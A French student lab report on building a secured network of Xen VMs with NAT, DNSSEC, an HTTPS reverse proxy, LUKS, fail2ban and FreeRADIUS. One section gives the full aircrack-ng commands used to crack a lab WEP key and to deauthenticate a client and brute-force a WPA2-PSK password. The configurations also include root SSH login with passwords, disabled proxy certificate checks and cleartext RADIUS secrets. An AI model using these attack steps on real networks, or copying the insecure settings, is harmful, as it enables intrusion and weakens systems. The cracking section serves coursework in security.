Atelier SysRes SE4 2025/2026 E15

De wiki-se.plil.fr
Aller à la navigation Aller à la recherche

image

Rapport de Projet SE4 IdO Année Universitaire 2025-2026

Étudiant: Mohamed SALHI Binôme: SE4.Solstice (mandataire) - SE4.Moon (services)

Domaine: msalhi.online

Introduction

Ce rapport documente la réalisation complète du projet de sécurité système et réseau dans le cadre du module SE4 IdO (Internet des Objets). L’objectif principal était de mettre en place une infrastructure réseau complète avec services virtualisés, en mettant l’accent sur la sécurité et la redondance.

L’architecture repose sur une approche dual-stack IPv4/IPv6 avec :

  • Une machine de services (SE4.Moon) hébergeant les services applicatifs
  • Une machine mandataire (SE4.Solstice) gérant les accès IPv4 via NAT et proxy inverse
  • Une infrastructure réseau redondante avec routeurs Cisco C9200
  • Des services sécurisés (DNS avec DNSSEC, HTTPS avec certificats, SSH avec filtrage)

Atelier système et réseau - Machines virtuelles

Création des machines virtuelles

Les machines virtuelles ont été créées sur l’hyperviseur Xen du Dom0 capbreton.plil.info.

Commandes de création

# Création de la machine de services SE4.Moon
root@capbreton:~# xen-create-image --hostname=SE4.Moon --dhcp \
  --bridge=pontKS --dir=/usr/local/xen --size=10GB \
  --dist=daedalus --memory=2048M --force

# Création de la machine mandataire SE4.Solstice
root@capbreton:~# xen-create-image --hostname=SE4.Solstice --dhcp \
  --bridge=pontKS --dir=/usr/local/xen --size=10GB \
  --dist=daedalus --memory=2048M --force

Démarrage et connexion

# Démarrage des VMs
xen create /etc/xen/SE4.Moon.cfg
xen create /etc/xen/SE4.Solstice.cfg

# Connexion aux consoles
xen console SE4.Moon
xen console SE4.Solstice

# Liste des VMs actives
root@capbreton:~# xen list
Name                                        ID   Mem VCPUs    State   Time(s)
SE4.Solstice                                39  2048     1     -b----    2560.1
SE4.Moon                                   119  2048     1     -b----     452.3

Configuration de la machine de services (SE4.Moon)

Montage des partitions LVM pour /var et /home

# Création des fichiers de partition sur le Dom0
root@capbreton:/dev/virtual# lvcreate -L 10G -n SE4.Moon.var virtual
root@capbreton:/dev/virtual# lvcreate -L 10G -n SE4.Moon.home virtual

# Modification du fichier de configuration Xen
disk = [
    'file:/usr/local/xen/domains/SE4.Moon/disk.img,xvda2,w',
    'file:/usr/local/xen/domains/SE4.Moon/swap.img,xvda1,w',
    'phy:/dev/virtual/SE4.Moon.home,xvdb,w',
    'phy:/dev/virtual/SE4.Moon.var,xvdc,w',
]

Formatage et montage des partitions

# Formatage des partitions
mkfs -t ext4 /dev/xvdb
mkfs -t ext4 /dev/xvdc

# Montage temporaire et copie des données
mount /dev/xvdc /mnt
mv /var/* /mnt/
umount /mnt

mount /dev/xvdb /mnt
mv /home/* /mnt/
umount /mnt

# Configuration du fstab
cat > /etc/fstab << EOF
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvdb /home ext4 defaults 0 2
/dev/xvdc /var ext4 defaults 0 2
EOF

# Application des modifications
mount -a

Configuration réseau

# Fichier /etc/network/interfaces
auto lo
iface lo inet loopback

# Interface réseau privée (vers Solstice)
auto eth0
iface eth0 inet static
    address 192.168.20.2/24
    gateway 192.168.20.1

# Configuration IPv6 automatique
iface eth0 inet6 auto

# Vérification
root@Moon:~# ip a show eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
    inet 192.168.20.2/24 brd 192.168.20.255 scope global eth0
    inet6 2001:660:4401:60a0:216:3eff:fe6f:f547/64 scope global dynamic

Installation des paquets de base

apt update && apt upgrade -y
apt install -y ssh apache2 bind9 bind9utils \
  fail2ban openssl iptables-persistent \
  net-tools curl wget vim

Configuration de la machine mandataire (SE4.Solstice)

Configuration réseau

# Fichier /etc/network/interfaces
auto lo
iface lo inet loopback

# Interface publique (réseau routé)
auto eth1
iface eth1 inet static
    address 193.48.57.167/27
    gateway 193.48.57.162  # Adresse VRRP virtuelle

iface eth1 inet6 auto

# Interface privée (vers Moon)
auto eth0
iface eth0 inet static
    address 192.168.20.1/24

iface eth0 inet6 auto

# Vérification
root@Solstice:~# ip a show eth1
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
    inet 193.48.57.167/27 brd 193.48.57.191 scope global eth1
    inet6 2001:660:4401:60a0:216:3eff:fe29:880f/64 scope global dynamic

Mise en place de la mascarade (NAT)

# Activation du forwarding IP
echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf
sysctl -p

# Règles iptables pour la mascarade
iptables -t nat -A POSTROUTING -s 192.168.20.0/24 -o eth1 -j MASQUERADE
iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT
iptables -A FORWARD -i eth1 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT

# Sauvegarde pour persistance
iptables-save > /etc/iptables/rules.v4

# Ajout dans interfaces pour chargement au démarrage
post-up iptables-restore < /etc/iptables/rules.v4

Services Internet

Serveur SSH

Configuration SSH sur Moon

# Édition du fichier de configuration
vim /etc/ssh/sshd_config

# Modifications apportées :
PermitRootLogin yes
PasswordAuthentication yes
Port 22
# LogLevel VERBOSE

# Redémarrage du service
systemctl restart ssh
systemctl enable ssh

Redirection de ports pour l’accès IPv4

# Redirection du port 2201 vers Moon (SSH)
iptables -t nat -A PREROUTING -i eth1 -p tcp --dport 2201 \
  -j DNAT --to-destination 192.168.20.2:22

iptables -A FORWARD -p tcp -d 192.168.20.2 --dport 22 -j ACCEPT

# Sauvegarde
iptables-save > /etc/iptables/rules.v4

# Test de la redirection
ssh -p 2201 root@193.48.57.167  # Arrive sur Moon

Serveur DNS

Configuration du serveur maître (Moon)

# Fichier /etc/bind/named.conf.local
zone "msalhi.online" {
    type master;
    file "/etc/bind/zones/db.msalhi.online";
    key-directory "/etc/bind/keys";
    dnssec-policy "default";
    inline-signing yes;
    allow-transfer { 
        2001:660:4401:60a0:216:3eff:fe29:880f;
        2001:660:4401:60a0:216:3eff:fe47:bbe7;
	2001:660:4401:60a0:216:3eff:fed6:4bc3;
    };
    also-notify { 
        2001:660:4401:60a0:216:3eff:fe29:880f;
	2001:660:4401:60a0:216:3eff:fed6:4bc3;
    };
    notify yes;
};

# Fichier de zone /etc/bind/zones/db.msalhi.online
$TTL 86400
@   IN  SOA ns1.msalhi.online. admin.msalhi.online. (
        2026020320  ; Serial INCRÉMENTÉ et corrigé
        3600        ; Refresh
        1800        ; Retry
        604800      ; Expire
        86400       ; Minimum TTL
    )

; Serveurs de noms
@       IN  NS  ns1.msalhi.online.
@       IN  NS  ns1.merteuil.tech.

; Enregistrements
@       IN  A       193.48.57.167
@       IN  AAAA    2001:660:4401:60a0:216:3eff:fe6f:f548
ns1     IN  A       193.48.57.167
ns1     IN  AAAA    2001:660:4401:60a0:216:3eff:fe6f:f548


www     IN  CNAME   msalhi.online.


# Vérification
named-checkzone msalhi.online /etc/bind/zones/db.msalhi.online

Configuration du serveur secondaire (Solstice)

# Fichier /etc/bind/named.conf.local
zone "msalhi.online" {
    type master;
    file "/etc/bind/zones/db.msalhi.online";
    key-directory "/etc/bind/keys";
    dnssec-policy "default";
    inline-signing yes;
    allow-transfer { 
        2001:660:4401:60a0:216:3eff:fe29:880f;
        2001:660:4401:60a0:216:3eff:fe47:bbe7;
	2001:660:4401:60a0:216:3eff:fed6:4bc3;
    };
    also-notify { 
        2001:660:4401:60a0:216:3eff:fe29:880f;
	2001:660:4401:60a0:216:3eff:fed6:4bc3;
    };
    notify yes;
};

# Redémarrage et vérification
systemctl restart bind9
ls -la /var/lib/bind/db.msalhi.online

Configuration chez le registrar Gandi

Configuration DNS chez Gandi
Type Valeur Description
Nameservers ns1.msalhi.online Serveur DNS primaire
ns1.merteuil.tech Serveur DNS secondaire
Glue Record 1 ns1.msalhi.online IPv6: 2001:660:4401:60a0:216:3eff:fe47:bbe7
Glue Record 2 ns2.msalhi.online IPv4: 193.48.57.167

Sécurisation de site Web par certificat

Génération du CSR et obtention du certificat

# Génération de la clé privée
openssl genrsa -out /etc/ssl/private/myserver.key 2048

# Génération du CSR
openssl req -new -key /etc/ssl/private/myserver.key \
  -out /etc/ssl/private/server.csr

Configuration Apache sur Moon (HTTPS direct IPv6)

# Fichier /etc/apache2/sites-available/msalhi-ssl.conf
<VirtualHost *:80>
    ServerName msalhi.online
    ServerAlias www.msalhi.online
    Redirect permanent / https://msalhi.online/
</VirtualHost>

<VirtualHost *:443>
    ServerName msalhi.online
    ServerAlias www.msalhi.online
    
    DocumentRoot /var/www/html
    
    SSLEngine on
    SSLCertificateFile /etc/ssl/msalhi/msalhi.online.crt
    SSLCertificateKeyFile /etc/ssl/msalhi/msalhi.online.key
    SSLCertificateChainFile /etc/ssl/msalhi/GandiStandardSSLCA2.pem
    
    Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains"
    Header always set X-Frame-Options DENY
    Header always set X-Content-Type-Options nosniff
    
    ErrorLog ${APACHE_LOG_DIR}/msalhi_ssl_error.log
    CustomLog ${APACHE_LOG_DIR}/msalhi_ssl_access.log combined
</VirtualHost>

# Activation
a2enmod ssl
a2ensite msalhi-ssl.conf
systemctl restart apache2

Configuration du proxy inverse sur Solstice (HTTPS IPv4)

# Fichier /etc/apache2/sites-available/msalhi-proxy.conf
<VirtualHost *:80>
    ServerName msalhi.online
    Redirect permanent / https://msalhi.online/
</VirtualHost>

<VirtualHost *:443>
    ServerName msalhi.online
    
    SSLEngine on
    SSLCertificateFile /etc/ssl/msalhi/msalhi.online.crt
    SSLCertificateKeyFile /etc/ssl/msalhi/msalhi.online.key
    SSLCertificateChainFile /etc/ssl/msalhi/GandiStandardSSLCA2.pem
    
    SSLProxyEngine on
    ProxyPreserveHost On
    
    # Utilisation de l'URL avec nom de domaine comme demandé
    ProxyPass / https://msalhi.online/
    ProxyPassReverse / https://msalhi.online/
    
    SSLProxyVerify none
    SSLProxyCheckPeerCN off
    
    ErrorLog ${APACHE_LOG_DIR}/proxy_error.log
    CustomLog ${APACHE_LOG_DIR}/proxy_access.log combined
</VirtualHost>

# Activation des modules
a2enmod proxy proxy_http ssl
a2ensite msalhi-proxy.conf
systemctl restart apache2

Sécurisation de serveur DNS par DNSSEC

Configuration DNSSEC automatique

# Création du répertoire pour les clés
mkdir -p /etc/bind/keys
chown bind:bind /etc/bind/keys

# Ajout dans named.conf.local
zone "msalhi.online" {
    type master;
    file "/etc/bind/zones/db.msalhi.online";
    key-directory "/etc/bind/keys";
    dnssec-policy "dnspol";
    inline-signing yes;
};

# Politique DNSSEC dans named.conf.options
dnssec-policy "dnspol" {
    keys {
        ksk key-directory lifetime unlimited algorithm 13;
        zsk key-directory lifetime unlimited algorithm 13;
    };
    nsec3param;
};

# Redémarrage et vérification
systemctl restart bind9
dig @localhost msalhi.online DNSKEY +dnssec

Résultat des clés DNSSEC générées

; Clés obtenues via : dig @localhost msalhi.online DNSKEY +dnssec

msalhi.online.        3600    IN  DNSKEY  256 3 13 Mi9LJ2JnnUciYfGEXoDuZ0ElzOigo+Fjxhf2I1+zxZqcn7SN1FxxGfFJ v4xNsU/YTvGgzf7ZWgWa29b+OQOSug==
msalhi.online.        3600    IN  DNSKEY  257 3 13 QrPmyYhhAVx1TGYLWRtAx/LbhQPy3yMd5/GoMH5SZ4aWD72QGVrfBOhh HW0/c1dYroeZ9riJTyQcO859svIWRw==
msalhi.online.        3600    IN  DNSKEY  257 3 13 Z4LE6oWmFPOb+QzklArdW7HWkH6kVrjIgrKYrJBMW3n6sMwwEG1YruHe SvmXJ9GwuFxhqtRu130iPse3wrJqyQ==

Enregistrement de la KSK chez Gandi

Configuration DNSSEC chez Gandi
Paramètre Valeur
Algorithm 13 (ECDSAP256SHA256)
Flags 257 (KSK)
Public Key QrPmyYhhAVx1TGYLWRtAx/LbhQPy3yMd5/GoMH5SZ4aWD72QGVrfBOhhHW0/c1dYroeZ9riJTyQcO859svIWRw==

Effraction WiFi

Cassage de clef WEP d’un point d’accès WiFi

Le réseau cible était cracotte01 (BSSID 04:DA:D2:9C:50:50, canal 4). La procédure a été réalisée depuis la machine zabeth13 avec les outils aircrack-ng.

  1. Passage de la carte en mode monitor :
    sudo airmon-ng start wlan0
    
  2. Capture ciblée :
    sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:50 -w capture_wep wlan0mon
    
  3. Authentification fake (association au point d’accès) :
    sudo aireplay-ng -1 6000 -o 1 -q 10 -e cracotte01 -a 04:DA:D2:9C:50:50 -h a0:b3:39:5a:dc:c8 wlan0mon
    
  4. Attaque ARP replay pour générer du trafic :
    sudo aireplay-ng -3 -b 04:DA:D2:9C:50:50 -h a0:b3:39:5a:dc:c8 wlan0mon
    
  5. Après accumulation d’environ 40 000 IVs, lancement de aircrack‑ng :
    sudo aircrack-ng capture_wep-01.cap
    

La clé WEP a été trouvée en moins de 15 minutes : FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE.

Cassage de mot de passe WPA‑PSK par force brute

Le réseau kracotte01 (BSSID 44:AD:D9:5F:87:00, canal 13) utilisait WPA2‑PSK.

  1. Capture ciblée :
    sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:00 -w wpa_capture wlan0mon
    
  2. Désauthentification d’un client (identifié 40:A5:EF:01:25:8B) pour forcer un handshake :
    sudo aireplay-ng -0 10 -a 44:AD:D9:5F:87:00 -c 40:A5:EF:01:25:8B wlan0mon
    
  3. Après apparition du message “WPA handshake” dans airodump‑ng, lancement de l’attaque par dictionnaire (mots de passe à 8 chiffres) :
    crunch 8 8 0123456789 | sudo aircrack-ng -b 44:AD:D9:5F:87:00 -w - wpa_capture-06.cap
    
  4. Résultat : le mot de passe 66689666 a été découvert après environ 30 minutes.

Ces tests illustrent la vulnérabilité des protocoles WEP et des mots de passe courts face à des attaques par force brute.


Sécurisations

Chiffrement de données

Sur Moon, une partition supplémentaire (disque virtuel xvdb, correspondant au volume LVM SE4.Moon.home) a été chiffrée avec LUKS.

# Chiffrement de la partition
cryptsetup luksFormat /dev/xvdb

# Ouverture du conteneur
cryptsetup open /dev/xvdb home_crypt

# Création d’un système de fichiers
mkfs.ext4 /dev/mapper/home_crypt

# Montage manuel
mount /dev/mapper/home_crypt /mnt/secret

Pour automatiser le montage au démarrage, on ajoute dans /etc/crypttab :

home_crypt /dev/xvdb none luks

et dans /etc/fstab :

/dev/mapper/home_crypt /home ext4 defaults 0 2

Le mot de passe doit être saisi manuellement à chaque démarrage, ce qui est acceptable pour un serveur de test.

Filtrage des services – fail2ban

Pour protéger SSH et les requêtes DNS malveillantes, fail2ban a été installé sur Moon et Solstice.

Fichier /etc/fail2ban/jail.local :

[DEFAULT]
bantime = 3600
findtime = 600
maxretry = 3

[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 3

[named-refused-tcp]
enabled = true
port = domain,953
protocol = tcp
filter = named-refused
logpath = /var/log/named/security.log
maxretry = 3

Filtre /etc/fail2ban/filter.d/named-refused.conf :

[Definition]
failregex = ^\S+ named\[\d+\]: client <HOST>#\S+ .* query .* denied
ignoreregex =

Le service est démarré et activé :

systemctl enable fail2ban
systemctl restart fail2ban

Sécurisation WiFi par WPA2‑EAP

Serveur FreeRADIUS sur Moon

Installation :

apt install freeradius freeradius-utils -y

Ajout du client (point d’accès) dans /etc/freeradius/3.0/clients.conf :

client vlan1_ap1 {
    ipaddr = 172.27.0.4    # VLAN 1 management
    secret = testing123
    shortname = cisco-ap1-vlan1
    nas_type = cisco
}
client vlan1_ap2 {
    ipaddr = 172.27.0.3    # VLAN 1 management
    secret = testing123
    shortname = cisco-ap2-vlan1
    nas_type = cisco
}


Création d’un utilisateur dans /etc/freeradius/3.0/users :

"msalhi" Cleartext-Password := "WifiSecure2026!"
    
"etudiant1" Cleartext-Password := "Password123"

"prof" Cleartext-Password := "AdminSE4!"

Configuration EAP pour PEAP‑MSCHAPv2 dans /etc/freeradius/3.0/mods-enabled/eap (type par défaut peap, tunnel intérieur mschapv2). Un conflit de port (18120) a été résolu en commentant la section listen dans /etc/freeradius/3.0/sites-enabled/inner-tunnel (ou en mettant port = 0).

Test local :

radtest msalhi WifiSecure2026! localhost 0 testing123


Sent Access-Request Id 13 from 0.0.0.0:55851 to 127.0.0.1:1812 length 76
	User-Name = "msalhi"
	User-Password = "WifiSecure2026!"
	NAS-IP-Address = 127.0.0.1
	NAS-Port = 0
	Message-Authenticator = 0x00
	Cleartext-Password = "WifiSecure2026!"
Received Access-Accept Id 13 from 127.0.0.1:1812 to 127.0.0.1:55851 length 20

→ réponse Access-Accept attendue.

Configuration du point d’accès WiFi

Sur le point d’accès (wifi‑E304), les lignes suivantes ont été ajoutées (en conservant les configurations des autres étudiants) :

aaa group server radius radius_student25
 server 192.168.20.2 auth-port 1812 acct-port 1813

aaa authentication login eap_student25 group radius_student25

dot11 ssid VM_SERVICES_15
 vlan 25
 authentication open eap eap_student25
 authentication network-eap eap_student25
 authentication key-management wpa version 2
 mbssid guest-mode

interface Dot11Radio0
 encryption vlan 25 mode ciphers aes-ccm
 ssid VM_SERVICES_15

interface Dot11Radio0.25
 encapsulation dot1Q 25
 bridge-group 25

interface GigabitEthernet0.25
 encapsulation dot1Q 25
 bridge-group 25

radius-server host 192.168.20.2 auth-port 1812 acct-port 1813 key radius_secret_salhi_2026

Configuration DHCP sur les routeurs

Sur E304 (plage 100‑150) :

ip dhcp excluded-address 10.60.15.1 10.60.15.99
ip dhcp excluded-address 10.60.15.151 10.60.15.254

ip dhcp pool SALHI_VLAN25
 network 10.60.15.0 255.255.255.0
 default-router 10.60.15.1
 dns-server 192.168.20.2 8.8.8.8
 domain-name msalhi.online
 lease 0 12

Policy‑Based Routing (PBR)

Pour que le trafic IPv4 du VLAN 25 passe par Solstice (où il sera NATé vers Internet), on a configuré sur E304 :

ip access-list extended TRAFIC_VLAN25
 permit ip 10.60.15.0 0.0.0.255 any
!
route-map PBR_VLAN25 permit 10
 match ip address TRAFIC_VLAN25
 set ip next-hop 193.48.57.167
!
interface Vlan25
 ip policy route-map PBR_VLAN25

Cette politique force tout le trafic IPv4 du VLAN 25 vers Solstice. La mascarade a ensuite été élargie sur Solstice pour inclure ce réseau :

iptables -t nat -A POSTROUTING -s 10.60.15.0/24 -o eth1 -j MASQUERADE
iptables-save > /etc/iptables/rules.v4

Tests

Un client connecté au SSID VM_SERVICES_15 obtient une adresse IP dans la plage DHCP (ex. 10.60.15.101), peut résoudre des noms DNS (via Moon) et accéder à Internet. Le traceroute montre le passage par Solstice (193.48.57.167).